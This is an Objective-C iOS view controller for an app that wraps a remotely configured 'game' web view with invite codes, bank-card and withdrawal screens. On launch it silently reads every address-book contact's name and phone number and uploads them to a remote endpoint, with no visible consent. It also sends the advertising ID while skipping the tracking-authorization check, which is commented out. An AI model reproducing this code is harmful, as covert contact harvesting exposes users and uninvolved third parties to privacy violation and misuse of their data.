Files
WebApp/ShenQi/ViewController.m
2024-12-20 17:49:45 +08:00

466 lines
23 KiB
Objective-C
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//
// ViewController.m
// ShenQi
//
// Created by Yao on 2023/4/4.
//
#import "ViewController.h"
//#import <SafariServices/SafariServices.h>
#import <Contacts/Contacts.h>
#import <UserNotifications/UserNotifications.h>
#import <AdSupport/AdSupport.h>
#import <AppTrackingTransparency/AppTrackingTransparency.h>
#import <WebKit/WebKit.h>
#import <SVProgressHUD.h>
#import "MacroDefine.h"
#import "DSWebDragView.h"
#import "NSObject+YYModel.h"
#import "AppDelegate.h"
#import "EditBankViewController.h"
#import "WithdrawViewController.h"
#import "InviteRecordsViewController.h"
@interface ViewController ()<WKUIDelegate,WKNavigationDelegate>
@property (strong, nonatomic) WKWebView *webView;
@property (nonatomic,strong) WKUserContentController *wkUController;
@property (weak, nonatomic) IBOutlet UIActivityIndicatorView *activityIndicatorView;
@property (weak, nonatomic) IBOutlet UIButton *goIntoBtn;
@property (nonatomic, strong) DSWebDragView *webDragView;
@property (nonatomic, strong) NSString *mainUserId;
@property (nonatomic, strong) NSString *inviteCode;
@property (nonatomic, strong) NSString *mainURLString;
@end
@implementation ViewController
-(void)viewDidLayoutSubviews
{
[super viewDidLayoutSubviews];
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].windows.lastObject.windowScene.statusBarManager;
_webView.frame = CGRectMake(0, statusBarManager.statusBarFrame.size.height, self.view.bounds.size.width, self.view.bounds.size.height-self.view.safeAreaInsets.bottom);
}
- (void)viewDidLoad {
[super viewDidLoad];
self.mainUserId = VV88AUUserID;
WKWebViewConfiguration *wkWebConfig = [[WKWebViewConfiguration alloc] init];
wkWebConfig.preferences.javaScriptCanOpenWindowsAutomatically = YES;
_wkUController = [[WKUserContentController alloc] init];
wkWebConfig.userContentController = _wkUController;
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].windows.lastObject.windowScene.statusBarManager;
_webView = [[WKWebView alloc] initWithFrame:CGRectMake(0, statusBarManager.statusBarFrame.size.height, self.view.bounds.size.width, self.view.bounds.size.height-self.view.safeAreaInsets.bottom) configuration:wkWebConfig];
_webView.UIDelegate = self;
_webView.navigationDelegate = self;
[self.view addSubview:_webView];
__weak typeof(self) weakSelf = self;
self.webDragView = [[DSWebDragView alloc] initWithFrame:CGRectMake(5, 128, 60, 60)];
self.webDragView.freeRect = CGRectMake(0, 128, self.view.frame.size.width, self.view.frame.size.height-128);
self.webDragView.isKeepBounds = YES;
self.webDragView.clickDragViewBlock = ^(WMDragView *dragView) {
UIAlertController *alertview = [UIAlertController alertControllerWithTitle:nil message:nil preferredStyle:(UIAlertControllerStyleActionSheet)];
UIAlertAction *homepageAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"HOMEPAGE", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
if (weakSelf.isPresent == YES) {
[weakSelf dismissViewControllerAnimated:YES completion:^{}];
}else{
weakSelf.isPresent = NO;
[weakSelf setupGameURLData];
}
}];
UIAlertAction *inviteCodeAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"MY INVITE CODE", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
// 我的邀请码
__block NSString *advertisingId = nil;
if (@available(iOS 14, *)) {
[ATTrackingManager requestTrackingAuthorizationWithCompletionHandler:^(ATTrackingManagerAuthorizationStatus status) {
advertisingId = [[ASIdentifierManager sharedManager] advertisingIdentifier].UUIDString;
[weakSelf setupDeviceCode:advertisingId isShareLink:NO];
}];
} else {
advertisingId = [[[ASIdentifierManager sharedManager] advertisingIdentifier] UUIDString];
[weakSelf setupDeviceCode:advertisingId isShareLink:NO];
}
}];
UIAlertAction *recordsAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"RECORDS", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
// 邀请人列表
[weakSelf setupInviteRecords];
}];
UIAlertAction *editBankAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"EditBank", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
// 编辑银行卡信息
[weakSelf setupEditBank];
}];
UIAlertAction *withdrawAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Withdraw", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
// 提现
[weakSelf setupWithdraw];
}];
UIAlertAction *shareAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"SHARE", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
// 分享
[weakSelf setupShareLink];
}];
UIAlertAction *cancel = [UIAlertAction actionWithTitle:NSLocalizedString(@"CANCEL", nil) style:(UIAlertActionStyleCancel) handler:^(UIAlertAction * _Nonnull action) {}];
[alertview addAction:homepageAction];
[alertview addAction:inviteCodeAction];
[alertview addAction:recordsAction];
[alertview addAction:editBankAction];
[alertview addAction:withdrawAction];
[alertview addAction:shareAction];
[alertview addAction:cancel];
[weakSelf presentViewController:alertview animated:YES completion:^{}];
};
[self.view addSubview:self.webDragView];
if (self.isPresent == YES) {
[self intoMainWebView];
}else{
[self setupGameURLData];
NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults];
BOOL install = [userfault objectForKey:@"statisticsDownload"];
if (install == NO) {
[self statisticsDownloadsData];
}
[self refreshMayknowFriendData];
}
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(setupGameURLData) name:@"NOTI_INTO" object:nil];
}
-(void)setupGameURLData
{
NSString *urlstring = [NSString stringWithFormat:@"%@?userId=%@",ConfigURL,self.mainUserId];
NSURL *url = [NSURL URLWithString:urlstring];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
request.HTTPMethod = @"GET";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
[self.activityIndicatorView startAnimating];
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
dispatch_async(dispatch_get_main_queue(), ^{
if (error) {
[self.activityIndicatorView stopAnimating];
[SVProgressHUD showInfoWithStatus:error.localizedDescription];
self.goIntoBtn.hidden = NO;
}else{
NSError *error;
NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error];
if (error) {
[self.activityIndicatorView stopAnimating];
[SVProgressHUD showInfoWithStatus:error.localizedDescription];
self.goIntoBtn.hidden = NO;
}else{
if (ISNULL(error) && !ISNULL(responseObject) && [[responseObject objectForKey:@"code"] integerValue] == 1) {
NSDictionary *datadic = [responseObject objectForKey:@"data"];
// 判断是否有新版本
[self compareVersionWithDictionary:datadic];
self.mainURLString = [datadic objectForKey:@"url"];
self.mainURLString = [self.mainURLString stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
if (!ISNULLSTR(self.mainURLString)) {
self.goIntoBtn.hidden = YES;
[self intoMainWebView];
}else{
self.goIntoBtn.hidden = NO;
}
}else{
self.goIntoBtn.hidden = NO;
}
}
}
});
}];
[dataTask resume];
}
-(void)compareVersionWithDictionary:(NSDictionary *)datadic
{
AppDelegate *appdelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
NSString *iosVersionCode = [datadic objectForKey:@"iosVersionCode"];
appdelegate.downloadUrl = [datadic objectForKey:@"downloadUrl"];
NSDictionary *infoDict = [[NSBundle mainBundle] infoDictionary];
NSString *localVison = infoDict[@"CFBundleShortVersionString"];
if ([localVison compare:iosVersionCode] == NSOrderedAscending) {
appdelegate.forceUpdate = [[datadic objectForKey:@"forceUpdate"] boolValue];
UIAlertController *alertview = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Tips", nil) message:NSLocalizedString(@"New version found", nil) preferredStyle:(UIAlertControllerStyleAlert)];
UIAlertAction *action = [UIAlertAction actionWithTitle:NSLocalizedString(@"Update", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
appdelegate.isRefresh = NO;
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:appdelegate.downloadUrl] options:@{} completionHandler:^(BOOL success) {}];
}];
[alertview addAction:action];
if (appdelegate.forceUpdate == NO) {
UIAlertAction *cancelaction = [UIAlertAction actionWithTitle:NSLocalizedString(@"CANCEL", nil) style:(UIAlertActionStyleCancel) handler:^(UIAlertAction * _Nonnull action) {}];
[alertview addAction:cancelaction];
}
dispatch_async(dispatch_get_main_queue(), ^{
[self presentViewController:alertview animated:YES completion:^{}];
});
}
}
-(void)intoMainWebView
{
if (self.isPresent == YES) {
NSURL *url = [NSURL URLWithString:self.gameURLString];
NSURLRequest *request = [[NSURLRequest alloc] initWithURL:url];
[_webView loadRequest:request];
}else{
NSURL *url = [NSURL URLWithString:self.mainURLString];
NSURLRequest *request = [[NSURLRequest alloc] initWithURL:url];
[_webView loadRequest:request];
}
}
-(void)setupEditBank
{
EditBankViewController *editBankViewController = [[EditBankViewController alloc] initWithNibName:@"EditBankViewController" bundle:nil];
[self presentViewController:editBankViewController animated:YES completion:nil];
}
- (IBAction)intoGameAction:(id)sender
{
[self setupGameURLData];
}
-(void)setupWithdraw
{
WithdrawViewController *withdrawViewController = [[WithdrawViewController alloc] initWithNibName:@"WithdrawViewController" bundle:nil];
[self presentViewController:withdrawViewController animated:YES completion:nil];
}
#pragma mark - 邀请人列表
-(void)setupInviteRecords
{
InviteRecordsViewController *inviteRecordsViewController = [[InviteRecordsViewController alloc] initWithNibName:@"InviteRecordsViewController" bundle:nil];
[self presentViewController:inviteRecordsViewController animated:YES completion:nil];
}
#pragma mark - 获取分享链接
-(void)setupShareLink
{
if (ISNULLSTR(self.inviteCode)) {
__block NSString *advertisingId = nil;
if (@available(iOS 14, *)) {
[ATTrackingManager requestTrackingAuthorizationWithCompletionHandler:^(ATTrackingManagerAuthorizationStatus status) {
// if (status == ATTrackingManagerAuthorizationStatusAuthorized) {
advertisingId = [[ASIdentifierManager sharedManager] advertisingIdentifier].UUIDString;
[self setupDeviceCode:advertisingId isShareLink:YES];
// }
}];
} else {
advertisingId = [[[ASIdentifierManager sharedManager] advertisingIdentifier] UUIDString];
[self setupDeviceCode:advertisingId isShareLink:YES];
}
}else{
[self setupShareLinkWithCode:self.inviteCode];
}
}
-(void)setupShareLinkWithCode:(NSString *)code
{
NSDictionary *infoDictionary = [[NSBundle mainBundle] infoDictionary];
NSString *textToShare = [NSString stringWithFormat:@"%@ %@%@%@",[infoDictionary objectForKey:@"CFBundleName"],NSLocalizedString(@"Invite you to download", nil),NSLocalizedString(@"MY INVITE CODE", nil),code];
UIImage *imageToShare = [UIImage imageNamed:@"VV88AUD"];
AppDelegate *appdelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
NSURL *urlToShare = [NSURL URLWithString:appdelegate.downloadUrl];
NSArray *activityItems = @[textToShare,imageToShare,urlToShare];
UIActivityViewController *activityViewController = [[UIActivityViewController alloc]initWithActivityItems:activityItems applicationActivities:nil];
activityViewController.excludedActivityTypes =
@[UIActivityTypeAirDrop,
UIActivityTypePostToFacebook,
UIActivityTypePostToTwitter,
UIActivityTypePostToWeibo,
UIActivityTypeMessage,
UIActivityTypeMail,
UIActivityTypePrint,
UIActivityTypeCopyToPasteboard,
UIActivityTypeAssignToContact,
UIActivityTypeSaveToCameraRoll,
UIActivityTypeAddToReadingList,
UIActivityTypePostToFlickr,
UIActivityTypePostToVimeo,
UIActivityTypePostToTencentWeibo,
UIActivityTypeOpenInIBooks];
activityViewController.completionWithItemsHandler = ^(UIActivityType _Nullable activityType, BOOL completed, NSArray * _Nullable returnedItems, NSError * _Nullable activityError) {
if (completed) {
UIAlertController *alertview = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Share Success", nil) message:nil preferredStyle:(UIAlertControllerStyleAlert)];
UIAlertAction *action = [UIAlertAction actionWithTitle:NSLocalizedString(@"OK", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {}];
[alertview addAction:action];
[self presentViewController:alertview animated:YES completion:^{}];
}
};
[self presentViewController:activityViewController animated:YES completion:nil];
}
#pragma mark - 获取我的邀请码
-(void)setupDeviceCode:(NSString *)advertisingId isShareLink:(BOOL)isShareLink
{
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:InviteCodeURL]];
request.HTTPMethod = @"POST";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *parmas = @{@"userId":[NSNumber numberWithInteger:[self.mainUserId integerValue]],@"deviceCode":advertisingId};
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = jsonData;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
dispatch_async(dispatch_get_main_queue(), ^{
if (error == nil) {
NSError *error;
NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error];
if (error == nil) {
if (ISNULL(error) && !ISNULL(responseObject) && [[responseObject objectForKey:@"code"] integerValue] == 1) {
InviteCodeModelDataModel *model = [[InviteCodeModelDataModel alloc] initWithDictionary:responseObject];
if (!ISNULLSTR(model.data.inviteCode)) {
self.inviteCode = model.data.inviteCode;
AppDelegate *appdelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
appdelegate.inviteCode = self.inviteCode;
if (isShareLink == YES) {
[self setupShareLinkWithCode:self.inviteCode];
}else{
NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults];
NSString *superInviteCode = [userfault objectForKey:@"INVITE_CODE"];
UIAlertController *codeAlertController = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"MY INVITE CODE", nil) message:[NSString stringWithFormat:@"%@\n(%@:%@)",model.data.inviteCode,NSLocalizedString(@"My Parent Invitation Code", nil),superInviteCode] preferredStyle:(UIAlertControllerStyleAlert)];
UIAlertAction *action = [UIAlertAction actionWithTitle:NSLocalizedString(@"COPY", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setString:model.data.inviteCode];
}];
[codeAlertController addAction:action];
[self presentViewController:codeAlertController animated:YES completion:^{}];
}
}
}
}
}
});
}];
[dataTask resume];
}
#pragma mark - WKNavigationDelegate
- (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler
{
decisionHandler(WKNavigationActionPolicyAllow);
}
- (WKWebView *)webView:(WKWebView *)webView createWebViewWithConfiguration:(WKWebViewConfiguration *)configuration forNavigationAction:(WKNavigationAction *)navigationAction windowFeatures:(WKWindowFeatures *)windowFeatures
{
if (navigationAction.request.URL) {
ViewController *view = [[ViewController alloc] init];
view.gameURLString = navigationAction.request.URL.absoluteString;
view.isPresent = YES;
view.modalPresentationStyle = UIModalPresentationFullScreen;
[self presentViewController:view animated:YES completion:^{}];
}
return nil;
}
#pragma mark - 统计下载量
-(void)statisticsDownloadsData
{
NSString *urlstring = [NSString stringWithFormat:@"%@",StatisticsURL];
NSURL *url = [NSURL URLWithString:urlstring];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
request.HTTPMethod = @"PUT";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *dic = @{@"userId":[NSNumber numberWithInteger:[self.mainUserId integerValue]],@"type":[NSNumber numberWithInteger:2]};
NSData *data = [NSJSONSerialization dataWithJSONObject:dic options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = data;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
dispatch_async(dispatch_get_main_queue(), ^{
if (error == nil) {
NSError *error;
NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error];
if (error == nil) {
if (ISNULL(error) && !ISNULL(responseObject) && [[responseObject objectForKey:@"code"] integerValue] == 1) {
NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults];
[userfault setObject:[NSNumber numberWithBool:YES] forKey:@"statisticsDownload"];
[userfault synchronize];
}
}
}
});
}];
[dataTask resume];
}
#pragma mark - 获取通讯录
-(void)refreshMayknowFriendData
{
NSMutableArray *contacts = @[].mutableCopy;
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
NSArray *keysToFetch = @[CNContactFamilyNameKey,CNContactMiddleNameKey,CNContactGivenNameKey,CNContactPhoneNumbersKey];
CNContactFetchRequest *fetchRequest = [[CNContactFetchRequest alloc] initWithKeysToFetch:keysToFetch];
CNContactStore *contactStore = [[CNContactStore alloc] init];
[contactStore enumerateContactsWithFetchRequest:fetchRequest error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
NSMutableDictionary *contactDic = @{}.mutableCopy;
NSString *name = [NSString stringWithFormat:@"%@%@%@",contact.familyName?:@"",contact.middleName?:@"",contact.givenName?:@""];
NSArray *phoneNumbers = contact.phoneNumbers;
for (CNLabeledValue *labelValue in phoneNumbers) {
CNPhoneNumber *phoneNumber = labelValue.value;
NSString *string = phoneNumber.stringValue;
string = [string stringByReplacingOccurrencesOfString:@"+86" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@"-" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@"(" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@")" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@" " withString:@""];
string = [string stringByReplacingOccurrencesOfString:@" " withString:@""];
if (ISNULLSTR(name)) {
[contactDic setObject:@"未知" forKey:@"name"];
}else{
[contactDic setObject:name forKey:@"name"];
}
if (!ISNULLSTR(string)) {
[contactDic setObject:string forKey:@"phone"];
}
}
[contacts addObject:[contactDic modelToJSONObject]];
}];
dispatch_async(dispatch_get_main_queue(), ^{
if (!ISNULLARRAY(contacts)) {
[self uploadContactsData:contacts];
}
});
});
}
-(void)uploadContactsData:(NSMutableArray *)contacts
{
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:ContactsURL]];
request.HTTPMethod = @"POST";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *parmas = @{@"userId":self.mainUserId,@"customers":contacts};
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = jsonData;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {}];
[dataTask resume];
}
@end